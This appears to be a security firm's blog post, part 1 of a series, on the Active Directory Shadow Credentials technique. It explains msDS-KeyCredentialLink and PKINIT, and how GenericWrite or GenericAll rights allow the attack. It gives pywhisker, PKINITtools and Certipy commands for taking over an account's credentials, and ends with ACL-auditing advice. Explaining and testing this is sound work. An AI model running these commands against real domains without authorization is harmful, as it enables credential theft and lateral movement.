Home > Blog > Shadow Credentials: how DACLs misconfiguration make your data vulnerable to cyberattacks - Part 1

Threat & Vulnerability Management

Shadow Credentials: how DACLs misconfiguration make your data vulnerable to cyberattacks – Part 1

To prevent lateral movements and privilege escalation, the proper management of ACLs access rights has consistently been a crucial line of defense in cyber security.

Partager sur

In the world of cybersecurity, the quest for administrative privileges is often the linchpin of a successful penetration test. Local admin rights serve as the master key, unlocking a plethora of possibilities like lateral movement, dumping credentials, etc. This blog post delves into the depths of the Shadow Credentials technique used to gain quickly local admin rights over a user or a computer.

In today’s environment, Active Directory Certificate Services (AD CS) has become a solution for many organizations, streamlining identity and access management across certificates. That being said, it is important to note that a lot of companies are evolving and have tightened their defenses by restricting the number of machines that can be added to a domain for example, often setting the MachineAccountQuota to 0. That is where Shadow Credentials come in handy.

What are Shadow Credentials?

In Active Directory, NTLM and Kerberos serve as the principal authentication protocols within Active Directory domains, ensuring the verification of security principal identities. Kerberos relies on symmetric cryptography between the client and server, utilizing tickets to authenticate identities.

The Kerberos Authentication Tickets:

Kerberos operates on two main types of tickets, each serving a distinct role in the authentication:

1. Ticket Granting Ticket (TGT): upon successful authentication, a TGT is issued, symbolizing the principal’s verified identity.

2. Service Ticket: leveraged by the principal, this ticket is used for authentication with services within the domain. It ensures that a principal can access the necessary domain services without repeated authentications.

💡 The issuance of a TGT is predicated on a pre-authentication stage where the client must validate its identity (without the pre-authentication set the account would become vulnerable to ASREP-Roasting).

– Symmetric Validation: Commonly, the Kerberos authentication flow involves encrypting a timestamp with a symmetric key derived from the client’s password. Encryption algorithms such as RC4, DES, or AES128-256 are commonly utilized, ensuring a secure validation process.

– Asymmetric Validation (PKINIT): An alternative to symmetric encryption within an Active Directory exists and is called PKINIT. It allows authentication via asymmetric methods, where the client uses a key pair (a public key and a private key). Public Key Infrastructure (PKI) allows KDC and the client to exchange their public keys using digital certificates signed by an entity with which both parties have previously established a trusted agreement: the Certification Authority (CA). This is the Certificate Trust model, most commonly used for smart card authentication (smart card logon).

The LDAP service offers a specialized attribute associated with this protocol, known as msDS-KeyCredentialLink.

– Introduced with Windows Server 2016, it acts as a storage for the public key linked to either a computer or user object within the domain.

– When a certificate is linked to a machine account, the public key is stored within the msDS-KeyCredentialLink, ensuring its secure association with the respective account.

Here is what the msDS-KeyCredentialLink looks like from Microsoft documentation.

Nonetheless, to better understand what composes the msDS-KeyCredentialLink, we suggest you to read the following blog post : Parsing the msDS-KeyCredentialLink Value for ShadowCredentials Attack by @Podalirius.

Managing and modifying the msDS-KeyCredentialLink attribute is an action that requires specific permissions, typically held by accounts that are members of highly privileged groups.

These groups include:

– Key Admins: members of this group can perform administrative actions on key objects within the domain. The Key Admins group applies to the Windows Server operating system in Default Active Directory security groups.

– Enterprise Key Admins: members of this group can perform administrative actions on key objects within the forest.

– Domain Admins: members of this group have almost all the privileges within a domain, including the ability to modify attributes.

💡 In scenarios where an account is compromised with GenericAll or GenericWrite permissions over an object it could be used to perform the Shadow Credential attack.

It is important to note that user objects can’t edit their own msDS-KeyCredentialLink attribute, while computer objects can. On the other hand, computer objects can edit their own msDS-KeyCredentialLink attribute but can only add a KeyCredential if none already exists.

When a user possesses either GenericAll, GenericWrite or WriteAccountRestrictions in the Discretionary Access Control List (DACL) for an object (it can be a computer or user account), they gain the capability to alter the object’s attributes. This includes populating the msDS-KeyCredentialLink attribute of the targeted object with the public key associated.

The attacker can then request a certificate for the targeted computer account and authenticate using the acquired certificate format as PFX file that can be used, among other things, for Client Authentication.

A window showing the properties of the WKS-01-AD$ certificate as part of a Shadow Credentials attack.

With this PFX file the attacker might extract the NT Hash of the targeted computer or obtain a Ticket Granting Ticket (TGT). Leveraging the S4U2self protocol, the attacker can then impersonate any user on the target host.

This approach, widely recognized as the Classical Approach to Shadow Credential Exploitation, was first detailed in early 2021 through a paper by Elad Shamir: Shadow Credentials.

This action can result in code execution and therefore lateral movement. Here are the steps of the attack:
1. An attacker compromises a domain user and enumerates GenericWrite/GenericAll DACL for the target host.
2. The attacker populates the msDS-KeyCredentialLink attribute on the targeted machine account.
3. The attacker requests a PFX certificate for this target user.
4. The attacker authenticates with the PFX certificate and can then retrieve a TGT or the user’s NT hash using the U2U protocol.

Graph representing the workflows between the attcker, the domain controller and WKS-01 machine to perform a complete Shadow Credentials attack.

The DACLs Shadow Credential Approach

How malicious actors can exploit DACLs?

Exploiting the Shadow Credentials technique via discretionary access control lists (DACLs) requires the attacker to
– Be in a domain that supports PKINIT and contains at least one Domain Controller running Windows Server 2016 or above.
– Be in a domain where the Domain Controller(s) has its own key pair (for the session key exchange) (e.g. happens when AD CS is enabled or when a certificate authority (CA) is in place).
– Have control over an account that can edit the target object’s msDs-KeyCredentialLink attribute through AllExtendedRights, GenericAll, GenericWrite or WriteAccountRestrictions ACLs.

The DACLs misconfigurations exposing you to a Shadow Credentials attack

The easiest way to enumerate DACLs misconfigurations is to utilize BloodHound. After the collector data is imported, we can execute the built-in search queries for enumerating paths between objects.

A classical Shadow Credentials misconfiguration could look like this:

Screenshot of a typical ACL misconfiguration that can lead to a Shadow Credentials attack: GenericWrite.

💡 This attack is working both on machine object and user object. Additionally, if the ms-ds-machineaccountquota attribute value is bigger than 0, any domain user will have the ability to create machine accounts on their own and the RBCD approach could be used instead of Shadow Credential. This attack is often used during engagement when the MachineAccountQuota is set to 0.

For a more granular and hands-on enumeration, PyWhysker can be used from a Linux machine. It allows for the enumeration of the msDS-KeyCredentialLink attribute:

pywhisker.py -d "$DOMAIN" -u "$USER" -p "$PASSWORD" --target "$TARGET" --action "list"

Screenshot of code used to generate an enumeration of the msDSKeyCredentialsList attribute.

How to exploit DACLs misconfigurations for a Shadow Credentials attack?

The exploitation phase begins with populating the msDS-KeyCredentialLink attribute. Again, pyWhisker simplifies this process:

Screenshot of code used to populate msds-keycredentialslink attribute of user william turner.

PyWhisker will automatically request a certificate and save it locally. It even guides you on the next steps to obtain a Ticket Granting Ticket (TGT).

Now, you are presented with two pathways:

Acquiring a TGT for the user account (william.turner):

Utilize PKINITOOLS by Dirk-jan to get a TGT using the command:

python3 PKINITtools/gettgtpkinit.py -cert-pfx "$PFX_CERTIFICATE" -pfx-pass "$PFX_PASSWORD" "$DOMAIN"/"$USER" output_TGT.ccache

Screenshot of the command code allowing to utilize PKINITOOLS by Dirk-jan to get a TGT.

Recover the NT Hash of the user account (william.turner) with U2U:

First, unprotect the certificate using Certipy, as it cannot handle password-protected certificates for authentication:

certipy cert -export -pfx "$PFX_CERTIFICATE" -password "$PFX_PASSWORD" -out unprotected_pfx.pfx

Screenshot of code used to unprotect the certificate using Certipy, in order to populate the msDS-KeyCredentialLink in the context of a Shadow Credentials attack.

Next, authenticate using Certipy and retrieve the user’s hash through the U2U protocol:

certipy auth -pfx unprotected_pfx.pfx -username "$USER" -domain "$DOMAIN"

Screenshot of the code reflecting the step of a Shadow Credentials attack that consists in authenticating using Certipy and retrieving the user's hash through the U2U protocol.

As an alternative, Certipy can automate these steps in a single command, streamlining the exploitation process.

certipy shadow auto -u "$USER"@"$DOMAIN" -p "$PASSWORD" -account "$TARGET_ACCOUNT"

Screenshot of code to use to automate the actions required to recover the NT hash of the impersonated user in the contexte of a Shadow Credential attack.

This way you obtain the NT hash of the compromised user account. Remember that this exploitation can be used for machine accounts also as we will see in the second part of this blog post.

Conclusion

It is recommended to audit user rights and permissions in an Active Directory. It is important to check permissions on Active Directory objects, starting with organizational units (OUs) and going to users and machines. In addition, all Active Directory users and groups should follow the least privilege model, based on granting the only permissions necessary for the desired operation.

Thus, it is recommended to check the following points:

List the different ACLs rights of an object to user or machine accounts.
List the members of the default groups (including subgroups) and identify the necessary rights and remove the others.
Analyze the Active Directory (especially OU and security groups) for delegations of rights.